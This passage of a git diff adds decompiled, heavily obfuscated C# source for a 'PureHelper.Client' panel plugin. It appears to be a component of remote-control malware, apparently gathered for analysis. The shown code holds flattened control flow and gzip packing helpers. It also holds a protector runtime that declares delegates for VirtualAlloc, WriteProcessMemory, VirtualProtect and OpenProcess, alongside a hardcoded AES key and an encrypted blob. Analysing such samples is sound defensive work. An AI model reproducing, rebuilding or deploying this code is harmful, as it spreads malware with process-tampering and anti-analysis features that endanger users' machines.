(num3) + { + default: + if (num4 == 988) + { + goto IL_0048; + } + break; + case 0: + break; + } + break; + IL_0048: + num3 = num4; + } + try + { + gZipStream.Write((byte[])P_0, 0, ((Array)P_0).Length); + int num5 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f7e3386f246948f69c355788e5ea10a5 == 0) + { + num5 = 0; + } + while (true) + { + switch (num5) + { + default: + if (num6 == 990) + { + num5 = num6; + continue; + } + goto case 2; + case 2: + result = memoryStream.ToArray(); + num5 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_81ee24a94370418d8f6e510a7b3de335 == 0) + { + num5 = 2; + } + continue; + case 0: + gZipStream.Close(); + num5 = 8; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_8e047cd5a8d34c9289514eca26fdadb8 == 0) + { + num5 = 2; + } + continue; + case 1: + break; + } + break; + } + } + finally + { + int num7; + if (gZipStream == null) + { + num7 = 5; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_fa9eda47cd3d4c6fa25173c2bd9005ea == 0) + { + num7 = 1; + } + goto IL_0107; + } + goto IL_0126; + IL_0107: + while (true) + { + switch (num7) + { + default: + if (num8 == 990) + { + goto IL_0105; + } + break; + case 2: + break; + case 1: + goto end_IL_0107; + case 0: + goto end_IL_0107; + } + goto IL_0126; + IL_0105: + num7 = num8; + continue; + end_IL_0107: + break; + } + goto end_IL_00e0; + IL_0126: + ((IDisposable)gZipStream).Dispose(); + num7 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5960ab896a62471f85ad7b6ede146b4f == 0) + { + num7 = 0; + } + goto IL_0107; + end_IL_00e0:; + } + } + finally + { + int num9; + if (memoryStream == null) + { + num9 = 5; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba76871b56e54f669cda2d26609cc5b4 != 0) + { + num9 = 0; + } + goto IL_016d; + } + goto IL_01a2; + IL_016d: + while (true) + { + switch (num9) + { + default: + if (num10 == 990) + { + goto IL_016b; + } + goto end_IL_016d; + case 0: + goto end_IL_016d; + case 1: + break; + case 2: + goto end_IL_016d; + } + goto IL_01a2; + IL_016b: + num9 = num10; + continue; + end_IL_016d: + break; + } + goto end_IL_0146; + IL_01a2: + ((IDisposable)memoryStream).Dispose(); + num9 = 2; + goto IL_016d; + end_IL_0146:; + } + break; + case 1: + memoryStream = new MemoryStream(); + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_dbaed25adfd74085a06a85a2f4c2deda == 0) + { + num2 = 2; + } + continue; + case 2: + break; + } + return result; + continue; + end_IL_0003: + break; + } + } + } + + public static byte[] QSUnNKj0pb(object P_0) + { + int num = 1; + MemoryStream memoryStream = default(MemoryStream); + int num4 = default(int); + int num6 = default(int); + int num8 = default(int); + byte[] result = default(byte[]); + int num10 = default(int); + int num12 = default(int); + int num14 = default(int); + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + if (num == 990) + { + goto end_IL_0003; + } + goto case 0; + case 1: + memoryStream = new MemoryStream((byte[])P_0); + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_a8c79faec0e54f9f994f6a5238e4785f == 0) + { + num2 = 0; + } + continue; + case 0: + try + { + GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress); + int num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b931987dfc0c470990e9e38231fff934 == 0) + { + num3 = 3; + } + while (true) + { + switch (num3) + { + default: + if (num4 == 988) + { + goto IL_0060; + } + break; + case 0: + break; + } + break; + IL_0060: + num3 = num4; + } + try + { + MemoryStream memoryStream2 = new MemoryStream(); + int num5 = 5; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_c716d44c74c64515ac5068ae3a901c0c != 0) + { + num5 = 0; + } + while (true) + { + switch (num5) + { + default: + if (num6 == 988) + { + goto IL_009e; + } + break; + case 0: + break; + } + break; + IL_009e: + num5 = num6; + } + try + { + gZipStream.CopyTo(memoryStream2); + int num7 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_67278bb431504846a19cc3a84ad5f349 == 0) + { + num7 = 0; + } + while (true) + { + switch (num7) + { + default: + if (num8 == 989) + { + num7 = num8; + continue; + } + break; + case 0: + result = memoryStream2.ToArray(); + num7 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_3df293852b674529ae9bfb1be31083d8 == 0) + { + num7 = 1; + } + continue; + case 1: + break; + } + break; + } + } + finally + { + int num9; + if (memoryStream2 == null) + { + num9 = 3; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cb9c626824424572a150665e8d57c6e7 != 0) + { + num9 = 0; + } + goto IL_0143; + } + goto IL_016a; + IL_0143: + while (true) + { + switch (num9) + { + default: + if (num10 == 990) + { + goto IL_0141; + } + goto end_IL_0143; + case 0: + goto end_IL_0143; + case 2: + break; + case 1: + goto end_IL_0143; + } + goto IL_016a; + IL_0141: + num9 = num10; + continue; + end_IL_0143: + break; + } + goto end_IL_011b; + IL_016a: + ((IDisposable)memoryStream2).Dispose(); + num9 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_39adc595083c4bb6915cfffdabca57d7 == 0) + { + num9 = 3; + } + goto IL_0143; + end_IL_011b:; + } + } + finally + { + if (gZipStream != null) + { + int num11 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b3f8cb7184cb4b4993fb986967ec61f3 != 0) + { + num11 = 1; + } + while (true) + { + switch (num11) + { + default: + if (num12 == 989) + { + num11 = num12; + continue; + } + break; + case 1: + ((IDisposable)gZipStream).Dispose(); + num11 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f657717d8f834c178c7cd09a108bbe65 == 0) + { + num11 = 7; + } + continue; + case 0: + break; + } + break; + } + } + } + } + finally + { + if (memoryStream != null) + { + int num13 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b34efd8a78a44c79801fdc5af4961010 != 0) + { + num13 = 0; + } + while (true) + { + switch (num13) + { + default: + if (num14 == 989) + { + num13 = num14; + continue; + } + break; + case 0: + break; + case 1: + goto end_IL_0204; + } + ((IDisposable)memoryStream).Dispose(); + num13 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5960ab896a62471f85ad7b6ede146b4f == 0) + { + num13 = 6; + } + continue; + end_IL_0204: + break; + } + } + } + break; + case 2: + break; + } + return result; + continue; + end_IL_0003: + break; + } + } + } + + internal static bool BoRNPtLHrJLBdUrrAYi() + { + return Cy1fUaLehM5fqJW5Fvb == null; + } + + internal static Hs1p7bnIKthS4T2pSI7 TjBNXML6LCM5Qpx063S() + { + return (Hs1p7bnIKthS4T2pSI7)Cy1fUaLehM5fqJW5Fvb; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/XW3iQq2AVWsC9kohc8a/NBKP5U21DpWjdkoBBdj.cs b/decompiled/PanelPlugins/PureHelper.Client/XW3iQq2AVWsC9kohc8a/NBKP5U21DpWjdkoBBdj.cs new file mode 100644 index 0000000..9782188 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/XW3iQq2AVWsC9kohc8a/NBKP5U21DpWjdkoBBdj.cs @@ -0,0 +1,10 @@ +namespace XW3iQq2AVWsC9kohc8a; + +internal class NBKP5U21DpWjdkoBBdj +{ + private static bool ea12IQI1Li; + + internal static void YtEk5Wl7Vq() + { + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/bXRFiPnTmR5sXtSGPkX/cIJh0enyoOjoRu0T6l8.cs b/decompiled/PanelPlugins/PureHelper.Client/bXRFiPnTmR5sXtSGPkX/cIJh0enyoOjoRu0T6l8.cs new file mode 100644 index 0000000..c506d0c --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/bXRFiPnTmR5sXtSGPkX/cIJh0enyoOjoRu0T6l8.cs @@ -0,0 +1,195 @@ +using System; +using System.Reflection; +using XW3iQq2AVWsC9kohc8a; + +namespace bXRFiPnTmR5sXtSGPkX; + +internal class cIJh0enyoOjoRu0T6l8 +{ + internal delegate void mf5gPDnEDOYcY5YCOBJ(object o); + + internal static object mJdnZWevZX; + + internal static object Kg6AaxLXOeNE0ttTcTO; + + internal static void nmxkjV2Scg(int typemdt) + { + int num = 8; + FieldInfo fieldInfo = default(FieldInfo); + Type type = default(Type); + MethodInfo method = default(MethodInfo); + FieldInfo[] fields = default(FieldInfo[]); + int num4 = default(int); + while (true) + { + int num2 = num; + while (true) + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 != 16) + { + if (num2 == 997) + { + goto end_IL_0003; + } + goto case 2; + } + fieldInfo.SetValue(null, (MulticastDelegate)Delegate.CreateDelegate(type, method)); + num3 = 1; + if (iFuGIULh8Xj13YBrryd()) + { + num3 = 5; + } + continue; + case 7: + fields = type.GetFields(); + num3 = 2; + if (dIWtKZLGyPYQRg7k7hr() == null) + { + num3 = 0; + } + continue; + case 3: + return; + case 1: + case 4: + if (num4 >= fields.Length) + { + return; + } + num = 9; + break; + case 2: + case 9: + fieldInfo = fields[num4]; + num = 6; + break; + case 6: + method = (MethodInfo)((Module)mJdnZWevZX).ResolveMethod(fieldInfo.MetadataToken + 100663296); + num = 16; + if (!iFuGIULh8Xj13YBrryd()) + { + num = 9; + } + break; + case 0: + num4 = 0; + num3 = 1; + if (dIWtKZLGyPYQRg7k7hr() != null) + { + num3 = 15; + } + continue; + case 8: + type = ((Module)mJdnZWevZX).ResolveType(33554432 + typemdt); + num3 = 13; + if (iFuGIULh8Xj13YBrryd()) + { + num3 = 7; + } + continue; + case 5: + num4++; + num3 = 4; + if (!iFuGIULh8Xj13YBrryd()) + { + num3 = 12; + } + continue; + } + goto end_IL_0002; + continue; + end_IL_0003: + break; + } + continue; + end_IL_0002: + break; + } + } + } + + public cIJh0enyoOjoRu0T6l8() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 0; + if (false) + { + num = 1; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + static cIJh0enyoOjoRu0T6l8() + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0014; + case 1: + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + num2 = 2; + if (0 == 0) + { + num2 = 0; + } + continue; + case 0: + break; + case 2: + return; + } + goto IL_002e; + IL_0014: + if (num == 990) + { + break; + } + goto IL_002e; + IL_002e: + mJdnZWevZX = typeof(cIJh0enyoOjoRu0T6l8).Assembly.ManifestModule; + num2 = 3; + if (0 == 0) + { + num2 = 2; + } + } + } + } + + internal static bool iFuGIULh8Xj13YBrryd() + { + return Kg6AaxLXOeNE0ttTcTO == null; + } + + internal static cIJh0enyoOjoRu0T6l8 dIWtKZLGyPYQRg7k7hr() + { + return (cIJh0enyoOjoRu0T6l8)Kg6AaxLXOeNE0ttTcTO; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/poelmpiFx7RS9IgQk9.YKjYNsng52AmNkDOaR b/decompiled/PanelPlugins/PureHelper.Client/poelmpiFx7RS9IgQk9.YKjYNsng52AmNkDOaR new file mode 100644 index 0000000..f445e43 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/poelmpiFx7RS9IgQk9.YKjYNsng52AmNkDOaR @@ -0,0 +1 @@ +fzsae%Z#(ck޿(7Dh[OHX:T~7L(bɈgcm!3[@mKQK \ No newline at end of file diff --git a/decompiled/PanelPlugins/PureHelper.Client/qKjs2oinTB1PBa4YHgS/eUJNyNiiEf2XNus4cpY.cs b/decompiled/PanelPlugins/PureHelper.Client/qKjs2oinTB1PBa4YHgS/eUJNyNiiEf2XNus4cpY.cs new file mode 100644 index 0000000..6556810 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/qKjs2oinTB1PBa4YHgS/eUJNyNiiEf2XNus4cpY.cs @@ -0,0 +1,312 @@ +using System.Runtime.CompilerServices; +using PluginSDK.Interfaces; +using ProtoBuf; +using XW3iQq2AVWsC9kohc8a; + +namespace qKjs2oinTB1PBa4YHgS; + +[ProtoContract] +internal class eUJNyNiiEf2XNus4cpY : IPacket +{ + [CompilerGenerated] + private int qFvis6DjiB; + + [CompilerGenerated] + private bool v15iVVCorg; + + [CompilerGenerated] + private int UKoiQAHWDG; + + [CompilerGenerated] + private string bZNidVIlJg; + + [CompilerGenerated] + private string qFWilywGgI; + + [CompilerGenerated] + private byte[] oqmiY0c8uF; + + private static object Et8xbLLZIKWvaRwbJNq; + + [ProtoMember(1)] + public int OUqiLc1wD8 + { + [CompilerGenerated] + get + { + return qFvis6DjiB; + } + [CompilerGenerated] + set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 1: + qFvis6DjiB = num3; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_fa9eda47cd3d4c6fa25173c2bd9005ea != 0) + { + num2 = 6; + } + continue; + case 0: + return; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(2)] + public bool ltTi1PRbZr + { + [CompilerGenerated] + get + { + return v15iVVCorg; + } + [CompilerGenerated] + set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + v15iVVCorg = flag; + num2 = 5; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_411a01a90e184ccea1d245585f590e75 == 0) + { + num2 = 0; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(3)] + public int fuFiROjeGW + { + [CompilerGenerated] + get + { + return UKoiQAHWDG; + } + [CompilerGenerated] + set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + UKoiQAHWDG = uKoiQAHWDG; + num2 = 5; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_4353980ed85946ce86121f2e107edf17 == 0) + { + num2 = 0; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(4)] + public string QegiyHfLvS + { + [CompilerGenerated] + get + { + return bZNidVIlJg; + } + [CompilerGenerated] + set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + bZNidVIlJg = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_a267596e458d4ee3839a403c2d8a3690 == 0) + { + num2 = 5; + } + } + } + } + } + + [ProtoMember(5)] + public string H63iEHBwqj + { + [CompilerGenerated] + get + { + return qFWilywGgI; + } + [CompilerGenerated] + set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + qFWilywGgI = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f4a7715299884ff18f1cd79197380e6c == 0) + { + num2 = 5; + } + } + } + } + } + + [ProtoMember(6)] + public byte[] lEXiaobKX7 + { + [CompilerGenerated] + get + { + return oqmiY0c8uF; + } + [CompilerGenerated] + set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + oqmiY0c8uF = array; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f25311c256b24afb83430c7b2ff15b49 == 0) + { + num2 = 3; + } + } + } + } + } + + public eUJNyNiiEf2XNus4cpY() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5e15ff1dd14a4e0a9b63367783e1c315 != 0) + { + num = 6; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool F9Yi6sLEQN6VESt9T1X() + { + return Et8xbLLZIKWvaRwbJNq == null; + } + + internal static eUJNyNiiEf2XNus4cpY oA1mXQLSXTgY7P4gMHJ() + { + return (eUJNyNiiEf2XNus4cpY)Et8xbLLZIKWvaRwbJNq; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ws1flOn4295GVZuW05j/teChAknSMwcsOKOlG5s.cs b/decompiled/PanelPlugins/PureHelper.Client/ws1flOn4295GVZuW05j/teChAknSMwcsOKOlG5s.cs new file mode 100644 index 0000000..be82744 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ws1flOn4295GVZuW05j/teChAknSMwcsOKOlG5s.cs @@ -0,0 +1,3266 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Reflection.Emit; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; +using XW3iQq2AVWsC9kohc8a; + +namespace ws1flOn4295GVZuW05j; + +internal class teChAknSMwcsOKOlG5s +{ + private delegate void IFtvs1mriNb0knf0C7j(object o); + + internal class zdgbCxm3We8Aitdg0da : Attribute + { + internal class XaE83NmqrmfAOLZoiCv + { + private static object xHxfZFL5bj9YiG4Jc6U; + + public XaE83NmqrmfAOLZoiCv() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 2; + if (true) + { + num = 0; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool W5RM6xL8NOGD3ymd5Oj() + { + return xHxfZFL5bj9YiG4Jc6U == null; + } + + internal static object pL4463LPwoqoKXWja4e() + { + return xHxfZFL5bj9YiG4Jc6U; + } + } + + public zdgbCxm3We8Aitdg0da(object P_0) + { + } + } + + internal class JXBIAhmh5kQ7ZmMKh75 + { + internal static string n3BmG34lbh(object P_0, object P_1) + { + byte[] bytes = Encoding.Unicode.GetBytes((string)P_0); + byte[] key = new byte[32] + { + 82, 102, 104, 110, 32, 77, 24, 34, 118, 181, + 51, 17, 18, 51, 12, 109, 10, 32, 77, 24, + 34, 158, 161, 41, 97, 28, 118, 181, 5, 25, + 1, 88 + }; + byte[] iV = ypynUf7dPe(Encoding.Unicode.GetBytes((string)P_1)); + MemoryStream memoryStream = new MemoryStream(); + SymmetricAlgorithm symmetricAlgorithm = zZmntn1H11(); + symmetricAlgorithm.Key = key; + symmetricAlgorithm.IV = iV; + CryptoStream cryptoStream = new CryptoStream(memoryStream, symmetricAlgorithm.CreateEncryptor(), CryptoStreamMode.Write); + cryptoStream.Write(bytes, 0, bytes.Length); + cryptoStream.Close(); + return Convert.ToBase64String(memoryStream.ToArray()); + } + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + internal delegate uint iuddTembF8MbcqpAvD4(IntPtr classthis, IntPtr comp, IntPtr info, uint flags, IntPtr nativeEntry, ref uint nativeSizeOfCode); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr KfHhPXmjCuRmn6AdnKy(); + + internal struct N3DL9DmO82T1Qa7wXTj + { + internal bool dXXm5CbDwu; + + internal byte[] Savm8vFpSs; + } + + internal class MYOrd0mPu5bSv9tbdB1 + { + private object uy22fFZZUk; + + public MYOrd0mPu5bSv9tbdB1(Stream P_0) + { + uy22fFZZUk = new BinaryReader(P_0); + } + + [SpecialName] + internal Stream KCFlcDdR6L() + { + return ((BinaryReader)uy22fFZZUk).BaseStream; + } + + internal byte[] yHNmvCnxts(int P_0) + { + return ((BinaryReader)uy22fFZZUk).ReadBytes(P_0); + } + + internal int FRImwfVOJm(byte[] P_0, int P_1, int P_2) + { + return ((BinaryReader)uy22fFZZUk).Read(P_0, P_1, P_2); + } + + internal int I8omKwMgf8() + { + return ((BinaryReader)uy22fFZZUk).ReadInt32(); + } + + internal void OQMmzDFCLi() + { + ((BinaryReader)uy22fFZZUk).Close(); + } + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] + private delegate IntPtr vkifub2iA5pBC6QKKGp(IntPtr hModule, string lpName, uint lpType); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr JUboZP2nmxfQc3iCYQl(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int uNKJn82mYjh38x1ipfr(IntPtr hProcess, IntPtr lpBaseAddress, [In][Out] byte[] buffer, uint size, out IntPtr lpNumberOfBytesWritten); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int dUVmvT22uxS0u79gCdm(IntPtr lpAddress, int dwSize, int flNewProtect, ref int lpflOldProtect); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr M63Uge2LZVBf5q5ALZC(uint dwDesiredAccess, int bInheritHandle, uint dwProcessId); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int ugHmaV2k3NGNvHFs8yN(IntPtr ptr); + + [Flags] + private enum sJOg3q2JXB7rbm5jTpj + { + + } + + private static bool U0xmkFtn1y; + + internal static object EpwmJ5Rok3; + + private static bool NE4mIcdIPx; + + private static int ciPmykfdes; + + private static List O3FmEp4Asq; + + private static object p0um4rhkTP; + + private static IntPtr RF9maln5wK; + + private static object gbgmVeq0me; + + private static int ABhmdwBURv; + + private static object OTimYlmIjV; + + private static int GxWmM2gLXN; + + private static int qhDmFc0bYV; + + internal static object i6TmWYC4fV; + + private static object PKjmogYOrk; + + private static object tJIm0LmLBa; + + private static object uvmmeGuXl1; + + private static object h4TmHOxAtQ; + + private static IntPtr tn4mg0Z3Sj; + + internal static object NGCmRgUbqg; + + private static object p6ImSBBnDT; + + private static object Qbcmx5uDw7; + + private static List puYmZNP8OL; + + private static object vMemTpD39d; + + [zdgbCxm3We8Aitdg0da(typeof(zdgbCxm3We8Aitdg0da.XaE83NmqrmfAOLZoiCv[]))] + private static bool ihUm96dgyM; + + private static object k4lmN5rNOy; + + internal static object EsCmUbbhAY; + + private static IntPtr DMym6J9WIk; + + private static object JFbmQco7Qr; + + private static IntPtr sjDmspHLMR; + + private static long PBSmtRvXcO; + + private static object ASkmundayI; + + private static int qHrmB5NluC; + + private static object gWjm1G4M6C; + + private static bool yi6mAyEPVs; + + private static Dictionary YxnmCJTrsy; + + private static long XZImcZfv1l; + + internal static object RrempdV82h; + + private static bool hN9m7iCieX; + + private static bool IF3mDv9rwu; + + private static bool hjRmltPa4V; + + static teChAknSMwcsOKOlG5s() + { + U0xmkFtn1y = false; + EpwmJ5Rok3 = typeof(teChAknSMwcsOKOlG5s).Assembly; + gWjm1G4M6C = new uint[64] + { + 3614090360u, 3905402710u, 606105819u, 3250441966u, 4118548399u, 1200080426u, 2821735955u, 4249261313u, 1770035416u, 2336552879u, + 4294925233u, 2304563134u, 1804603682u, 4254626195u, 2792965006u, 1236535329u, 4129170786u, 3225465664u, 643717713u, 3921069994u, + 3593408605u, 38016083u, 3634488961u, 3889429448u, 568446438u, 3275163606u, 4107603335u, 1163531501u, 2850285829u, 4243563512u, + 1735328473u, 2368359562u, 4294588738u, 2272392833u, 1839030562u, 4259657740u, 2763975236u, 1272893353u, 4139469664u, 3200236656u, + 681279174u, 3936430074u, 3572445317u, 76029189u, 3654602809u, 3873151461u, 530742520u, 3299628645u, 4096336452u, 1126891415u, + 2878612391u, 4237533241u, 1700485571u, 2399980690u, 4293915773u, 2240044497u, 1873313359u, 4264355552u, 2734768916u, 1309151649u, + 4149444226u, 3174756917u, 718787259u, 3951481745u + }; + yi6mAyEPVs = false; + NE4mIcdIPx = false; + NGCmRgUbqg = null; + YxnmCJTrsy = null; + k4lmN5rNOy = new object(); + ciPmykfdes = 0; + vMemTpD39d = new object(); + puYmZNP8OL = null; + O3FmEp4Asq = null; + p6ImSBBnDT = new byte[0]; + p0um4rhkTP = new byte[0]; + RF9maln5wK = IntPtr.Zero; + sjDmspHLMR = IntPtr.Zero; + gbgmVeq0me = new string[0]; + JFbmQco7Qr = new int[0]; + ABhmdwBURv = 1; + hjRmltPa4V = false; + OTimYlmIjV = new SortedList(); + GxWmM2gLXN = 0; + PBSmtRvXcO = 0L; + RrempdV82h = null; + EsCmUbbhAY = null; + XZImcZfv1l = 0L; + qhDmFc0bYV = 0; + hN9m7iCieX = false; + IF3mDv9rwu = false; + qHrmB5NluC = 0; + tn4mg0Z3Sj = IntPtr.Zero; + ihUm96dgyM = false; + i6TmWYC4fV = new Hashtable(); + PKjmogYOrk = null; + ASkmundayI = null; + Qbcmx5uDw7 = null; + tJIm0LmLBa = null; + uvmmeGuXl1 = null; + h4TmHOxAtQ = null; + DMym6J9WIk = IntPtr.Zero; + try + { + RSACryptoServiceProvider.UseMachineKeyStore = true; + } + catch + { + } + } + + private void oNAkO7tgO9() + { + } + + internal static byte[] PAinaiGrq1(object P_0) + { + uint[] array = new uint[16]; + uint num = (uint)((448 - ((Array)P_0).Length * 8 % 512 + 512) % 512); + if (num == 0) + { + num = 512u; + } + uint num2 = (uint)(((Array)P_0).Length + num / 8 + 8); + ulong num3 = (ulong)((Array)P_0).Length * 8uL; + byte[] array2 = new byte[num2]; + for (int i = 0; i < ((Array)P_0).Length; i++) + { + array2[i] = ((byte[])P_0)[i]; + } + array2[((Array)P_0).Length] |= 128; + for (int num4 = 8; num4 > 0; num4--) + { + array2[num2 - num4] = (byte)((num3 >> (8 - num4) * 8) & 0xFF); + } + uint num5 = (uint)(array2.Length * 8) / 32u; + uint num6 = 1732584193u; + uint num7 = 4023233417u; + uint num8 = 2562383102u; + uint num9 = 271733878u; + for (uint num10 = 0u; num10 < num5 / 16; num10++) + { + uint num11 = num10 << 6; + for (uint num12 = 0u; num12 < 61; num12 += 4) + { + array[num12 >> 2] = (uint)((array2[num11 + (num12 + 3)] << 24) | (array2[num11 + (num12 + 2)] << 16) | (array2[num11 + (num12 + 1)] << 8) | array2[num11 + num12]); + } + uint num13 = num6; + uint num14 = num7; + uint num15 = num8; + uint num16 = num9; + aUCnsLJchg(ref num6, num7, num8, num9, 0u, 7, 1u, array); + aUCnsLJchg(ref num9, num6, num7, num8, 1u, 12, 2u, array); + aUCnsLJchg(ref num8, num9, num6, num7, 2u, 17, 3u, array); + aUCnsLJchg(ref num7, num8, num9, num6, 3u, 22, 4u, array); + aUCnsLJchg(ref num6, num7, num8, num9, 4u, 7, 5u, array); + aUCnsLJchg(ref num9, num6, num7, num8, 5u, 12, 6u, array); + aUCnsLJchg(ref num8, num9, num6, num7, 6u, 17, 7u, array); + aUCnsLJchg(ref num7, num8, num9, num6, 7u, 22, 8u, array); + aUCnsLJchg(ref num6, num7, num8, num9, 8u, 7, 9u, array); + aUCnsLJchg(ref num9, num6, num7, num8, 9u, 12, 10u, array); + aUCnsLJchg(ref num8, num9, num6, num7, 10u, 17, 11u, array); + aUCnsLJchg(ref num7, num8, num9, num6, 11u, 22, 12u, array); + aUCnsLJchg(ref num6, num7, num8, num9, 12u, 7, 13u, array); + aUCnsLJchg(ref num9, num6, num7, num8, 